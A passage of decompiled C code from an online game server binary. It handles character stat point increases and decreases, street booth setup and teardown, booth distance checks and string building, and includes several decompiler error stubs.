netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 signed int v7; // ebx@5 int v8; // eax@5 unsigned __int8 v9; // al@7 char *v10; // edi@12 unsigned __int8 v11; // al@12 char v12; // al@14 ZoneBaseSession *v13; // eax@15 signed int v14; // [sp-Ch] [bp-28h]@9 signed int v15; // [sp-8h] [bp-24h]@9 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v17; // [sp+18h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S4_21 & 1) ) { _S4_21 |= 1u; stru_1248F788.cmc_AllowMode = 86; atexit(_E5_69); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_1248F788.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2759); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); return; } v5 = *(_DWORD *)(v4 + 4004); v6 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); v7 = shineparam.scp_param.commonparam[v6]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 40))(v5)]; v8 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v4); if ( v7 > v8 ) { v9 = *(_BYTE *)(netcmd + 2); if ( v9 > 4u ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Invalid Stat", v9); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2755); v17 = -1; goto LABEL_20; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2616))(v4) == 1 ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : free stat is lock", 0); v15 = 2759; v14 = 97; } else { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4305; *((_WORD *)v10 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v10[8] = v7; v10[9] = *(_BYTE *)(v4 + 32137); v10[10] = *(_BYTE *)(v4 + 32138); v10[11] = *(_BYTE *)(v4 + 32139); v10[12] = *(_BYTE *)(v4 + 32140); v10[13] = *(_BYTE *)(v4 + 32141); v10[16] = 0; v11 = *(_BYTE *)(netcmd + 2); if ( v11 >= 5u ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : invalid stat", v11); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 103, 2755); goto LABEL_11; } if ( (unsigned __int8)v10[v11 + 9] < v7 ) { ++v10[v11 + 9]; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Packet Too Long", 17) ) { v13 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v13); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2620))(v4); goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : too many stat", v11); v15 = 2754; v14 = 103; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, v14, v15); LABEL_11: v17 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Try to increase above remain point", v7 > v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2754); v17 = -1; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); } //----- (0051A2F0) -------------------------------------------------------- #error "51A2F0: undefined or illegal type '#331' (funcsize=53)" //----- (0051A3D0) -------------------------------------------------------- #error "51A3D0: undefined or illegal type '#331' (funcsize=143)" //----- (0051A5F0) -------------------------------------------------------- #error "51A5F0: undefined or illegal type '#331' (funcsize=55)" //----- (0051A6D0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // ebp@1 __int16 v6; // si@7 int v7; // ecx@7 int v8; // eax@8 int v9; // eax@12 int v10; // ebx@14 InventoryLocking::InventoryCellLockVtbl *v11; // esi@16 int v12; // eax@16 char *v13; // esi@16 signed int v14; // edi@16 int v15; // eax@16 char v16; // cl@17 char v17; // al@21 ZoneBaseSession *v18; // eax@22 ITEM_INVEN redist_inv; // [sp+10h] [bp-ACh]@20 FunctionEntarance _; // [sp+14h] [bp-A8h]@1 void *redist_cell; // [sp+18h] [bp-A4h]@20 ItemBoxIterIdent ibii; // [sp+1Ch] [bp-A0h]@7 InventoryLocking::UnlockedInventoryIterator uii; // [sp+30h] [bp-8Ch]@10 ItemTotalInformation redist_iti; // [sp+3Ch] [bp-80h]@10 unsigned int v25; // [sp+ACh] [bp-10h]@16 int v26; // [sp+B8h] [bp-4h]@1 void *v27; // [sp+BCh] [bp+0h]@10 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S6_69 & 1) ) { _S6_69 |= 1u; stru_1248F790.cmc_AllowMode = 86; atexit(_E7_54); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & stru_1248F790.cmc_AllowMode) ) goto LABEL_6; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2616))(v5) == 1 ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : free stat is lock", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103, 2759); LABEL_6: --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); goto LABEL_28; } v6 = unk_12510DC0; v7 = v5 + 35568; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)(v5 + 35568); if ( v5 == -91688 ) v8 = (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 8))(a2); else v8 = (*(int (__stdcall **)(int, int))(*(_DWORD *)v7 + 4))(v5 + 91688, a2); *(_DWORD *)&ibii.ibii_ident = v8; ibii.baseclass_0.ibi_itembag = (ItemBag *)&ItemBoxIterIdent::_vftable_; LOWORD(uii.uii_Iterator) = v6; uii.uii_LockList = (InventoryLocking::InventoryCellLock *)&ibii.baseclass_0.ibi_itembag; LOBYTE(v27) = 1; uii.uii_InvenType = v5 + 57768; *(_DWORD *)&redist_iti.iti_registnum.binary.gap0[0] = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) ) { v9 = (*(int (__stdcall **)(InventoryLocking::InventoryCellLockVtbl *))**(int (__stdcall ****)(_DWORD))&uii.uii_LockList->icl_Index)(uii.uii_LockList[1].vfptr); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)v9; if ( v9 ) { v10 = *(_DWORD *)(v9 + 112); if ( v10 ) { memcpy(&redist_iti.iti_registnum.binary._bf4, (const void *)v9, 0x6Cu); LOWORD(v25) = *(_WORD *)(v9 + 108); BYTE2(v25) = *(_BYTE *)(v9 + 110); v11 = uii.uii_LockList[1].vfptr; v12 = (*(int (__thiscall **)(int, char *))(*(_DWORD *)v10 + 24))( v10, (char *)&redist_iti.iti_itemstruct.itemattr.dlot.lot + 2); LOWORD(_.fe_FunctionCode) = (unsigned __int16)v11 & 0x3FF | 0x2400; v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4305; *((_WORD *)v13 + 1) = *(_WORD *)(v5 + 4); v14 = v12; *((_DWORD *)v13 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v13[8] = ShineObjectClass::ShinePlayer::sp_CalcTotalStat((void *)v5); v13[9] = *(_BYTE *)(v5 + 32137); v13[10] = *(_BYTE *)(v5 + 32138); v13[11] = *(_BYTE *)(v5 + 32139); v13[12] = *(_BYTE *)(v5 + 32140); v13[13] = *(_BYTE *)(v5 + 32141); v15 = *(_BYTE *)(len + 2); if ( (unsigned __int8)v15 >= 5u ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Invalid Stat", (unsigned __int8)v15); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103); } else { v16 = v13[(unsigned __int8)v15 + 9]; if ( v16 ) { v13[(unsigned __int8)v15 + 9] = v16 - 1; LOWORD(v15) = *(_WORD *)(v5 + 57772); *((_WORD *)v13 + 7) = v15; v13[16] = 1; *(_DWORD *)(v13 + 18) = redist_iti.iti_registnum.binary._bf4; *(_DWORD *)(v13 + 22) = *(_DWORD *)&redist_iti.iti_itemstruct.itemid; *((_WORD *)v13 + 13) = HIWORD(redist_iti.iti_itemstruct.itemattr.dlot.lot); v13[28] = 1; if ( v14 > 1 ) { v13[17] = 0; (*(void (__thiscall **)(int, char *))(*(_DWORD *)v10 + 28))( v10, (char *)&redist_iti.iti_itemstruct.itemattr.dlot.lot + 2); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)(v5 + 57768) + 48))( v5 + 57768, *((_WORD *)v13 + 7), redist_cell, &redist_iti, &redist_inv, &redist_inv); } else { v13[17] = 1; (*(void (__thiscall **)(int, int, ItemBoxIteratorVtbl *, FunctionEntarance *))(*(_DWORD *)(v5 + 57768) + 40))( v5 + 57768, v15, ibii.baseclass_0.vfptr, &_); } v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 29); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Packet Too Long", 29) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } ++*(_WORD *)(v5 + 57772); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2620))(v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Already_0", (unsigned __int8)v15); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103); } } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemAttributeClass Null", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemInventoryCell Null", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : no init item", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } LABEL_28: __security_check_cookie(v25); } // 51A6D0: could not find valid save-restore pair for edi // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0051AB40) -------------------------------------------------------- #error "51AB40: undefined or illegal type '#331' (funcsize=53)" //----- (0051AC20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *obj, int suc) { void *v2; // esi@1 DebugLogging *v3; // edi@2 _iobuf *v4; // eax@4 char v5; // al@8 char v6; // al@10 char v7; // al@12 char v8; // al@14 char v9; // al@16 char *v10; // eax@18 int v11; // eax@20 v2 = obj; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(unsigned __int8)(*(int (__thiscall **)(char *, void *, _DWORD, _DWORD))(*((_DWORD *)v2 + 14442) + 24))( (char *)v2 + 57768, v2, *(_WORD *)(suc + 7), 0) ) { v3 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } DebugLogging::operator<<(v3, &deb_LF); } switch ( *(_BYTE *)(suc + 6) ) { case 0: v5 = *((_BYTE *)v2 + 32137); if ( v5 ) *((_BYTE *)v2 + 32137) = v5 - 1; goto LABEL_18; case 1: v6 = *((_BYTE *)v2 + 32138); if ( v6 ) *((_BYTE *)v2 + 32138) = v6 - 1; goto LABEL_18; case 2: v7 = *((_BYTE *)v2 + 32139); if ( v7 ) *((_BYTE *)v2 + 32139) = v7 - 1; goto LABEL_18; case 3: v8 = *((_BYTE *)v2 + 32140); if ( v8 ) *((_BYTE *)v2 + 32140) = v8 - 1; goto LABEL_18; case 4: v9 = *((_BYTE *)v2 + 32141); if ( v9 ) *((_BYTE *)v2 + 32141) = v9 - 1; LABEL_18: --*((_BYTE *)v2 + 32142); Parameter::Container::c_Storepure( (Parameter::Container *)((char *)v2 + 4008), *((CharClass **)v2 + 1001), (#331 *)v2); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4197; v10[2] = *(_BYTE *)(suc + 6); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); } break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Invalid Stat", *(_BYTE *)(suc + 6)); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 103, 2755); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0051AE50) -------------------------------------------------------- #error "51AE50: undefined or illegal type '#331' (funcsize=55)" //----- (0051AF30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this) { int v1; // esi@1 int v2; // edi@1 int v3; // ebx@1 int v4; // ebx@1 int v5; // eax@1 char *v6; // ecx@3 int v7; // eax@5 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 4004); v3 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1220))(v1); v4 = shineparam.scp_param.commonparam[v3]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2)]; v5 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( v4 >= v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4187; v6[2] = v4 - v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 760))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charbasedata : Packet Too Long", 3); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatRemainSend : Too many StatPoint", v4 >= v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); } //----- (0051B060) -------------------------------------------------------- #error "51B060: undefined or illegal type '#331' (funcsize=103)" //----- (0051B1D0) -------------------------------------------------------- void __thiscall StreetBooth::StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; this->sb_Terminal = 0; } // 5CF76C: using guessed type int (*StreetBooth___vftable_)(); //----- (0051B1E0) -------------------------------------------------------- void __thiscall StreetBooth::_StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; } // 5CF76C: using guessed type int (*StreetBooth___vftable_)(); //----- (0051B1F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc) { __int16 v2; // ax@1 char result; // al@4 int v4; // ecx@5 int v5; // eax@5 unsigned int v6; // ecx@5 v2 = ***(_WORD ***)&this->gap0[7576]; if ( v2 == 5606 || v2 == 5607 || v2 == 5700 ) { v4 = *(_DWORD *)&this->gap0[78]; v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - boothloc->y; result = (v5 - boothloc->x) * (v5 - boothloc->x) + v6 * v6 > 0x384; } else { result = 0; } return result; } //----- (0051B240) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc) { void *v2; // esi@1 signed int result; // eax@3 int v4; // ecx@4 int v5; // eax@4 int v6; // ecx@4 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 5 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 4 ) { v4 = *(_DWORD *)((char *)v2 + 78); v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - *(_DWORD *)(boothloc + 4); result = (unsigned int)((v5 - *(_DWORD *)boothloc) * (v5 - *(_DWORD *)boothloc) + v6 * v6) > 0x384; } else { result = 1; } return result; } //----- (0051B2A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc) { int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 v2 = *(_DWORD *)&this->gap0[78]; v3 = *(_DWORD *)v2 - boothloc->x; v4 = *(_DWORD *)(v2 + 4) - boothloc->y; return v3 * v3 + v4 * v4 > 0x384; } //----- (0051B2D0) -------------------------------------------------------- #error "51B2D0: undefined or illegal type '#440' (funcsize=26)" //----- (0051B330) -------------------------------------------------------- #error "51B330: undefined or illegal type '#331' (funcsize=7)" //----- (0051B350) -------------------------------------------------------- #error "51B350: undefined or illegal type '#440' (funcsize=15)" //----- (0051B380) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 89188) + 32))(); } //----- (0051B390) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sbs_LockIndex = locker->icl_Index++; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } //----- (0051B400) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Close"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))locker->vfptr->icl_Free)(v2->sbs_LockIndex); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); } //----- (0051B4B0) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->sbs_BoothCell[0].invencell; v3 = 20; do { *(_DWORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } //----- (0051B520) -------------------------------------------------------- void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothBuy::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)v1->sbb_BoothCell; v3 = 20; do { *(_WORD *)v2 = -1; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); } //----- (0051B590) -------------------------------------------------------- #error "51B590: undefined or illegal type '#331' (funcsize=89)" //----- (0051B6D0) -------------------------------------------------------- #error "51B6D0: undefined or illegal type '#331' (funcsize=80)" //----- (0051B800) -------------------------------------------------------- #error "51B800: undefined or illegal type '#331' (funcsize=38)" //----- (0051B8B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_70 & 1) ) { _S6_70 |= 1u; stru_1248FBA4.cmc_AllowMode = 32; atexit(_E7_55); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_1248FBA4.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v4); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 5, 2628); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); } //----- (0051B9A0) -------------------------------------------------------- #error "51B9A0: undefined or illegal type '#331' (funcsize=125)" //----- (0051BB80) -------------------------------------------------------- #error "51BB80: undefined or illegal type '#331' (funcsize=100)" //----- (0051BD00) -------------------------------------------------------- #error "51BD00: undefined or illegal type '#331' (funcsize=106)" //----- (0051BE80) -------------------------------------------------------- #error "51BE80: undefined or illegal type '#331' (funcsize=92)" //----- (0051BFC0) -------------------------------------------------------- #error "51BFC0: undefined or illegal type '#331' (funcsize=161)" //----- (0051C1F0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str) { StringMaker::Maker *v2; // esi@1 const char *v3; // edx@1 unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // edi@2 char v7; // cl@3 int v8; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); v3 = str; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char *str)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = strlen(str); v5 = v2->m_Pointer; if ( v5 + v4 + 1 < 0x400 ) { v6 = (int)((char *)v2 + v5); do { v7 = *v3++; *(_BYTE *)v6++ = v7; } while ( v7 ); v8 = v4 + v2->m_Pointer; v2->m_Pointer = v8; v2->m_Buffer[v8] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); return v2; } //----- (0051C290) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr) { StringMaker::Maker *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char chr)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->m_Pointer; if ( (unsigned int)(v3 + 2) < 0x400 ) { v2->m_Buffer[v3] = chr; v4 = v2->m_Pointer + 1; v2->m_Pointer = v4; v2->m_Buffer[v4] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); return v2; } //----- (0051C310) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *result; // eax@1 char buffer[32]; // [sp+8h] [bp-30h]@1 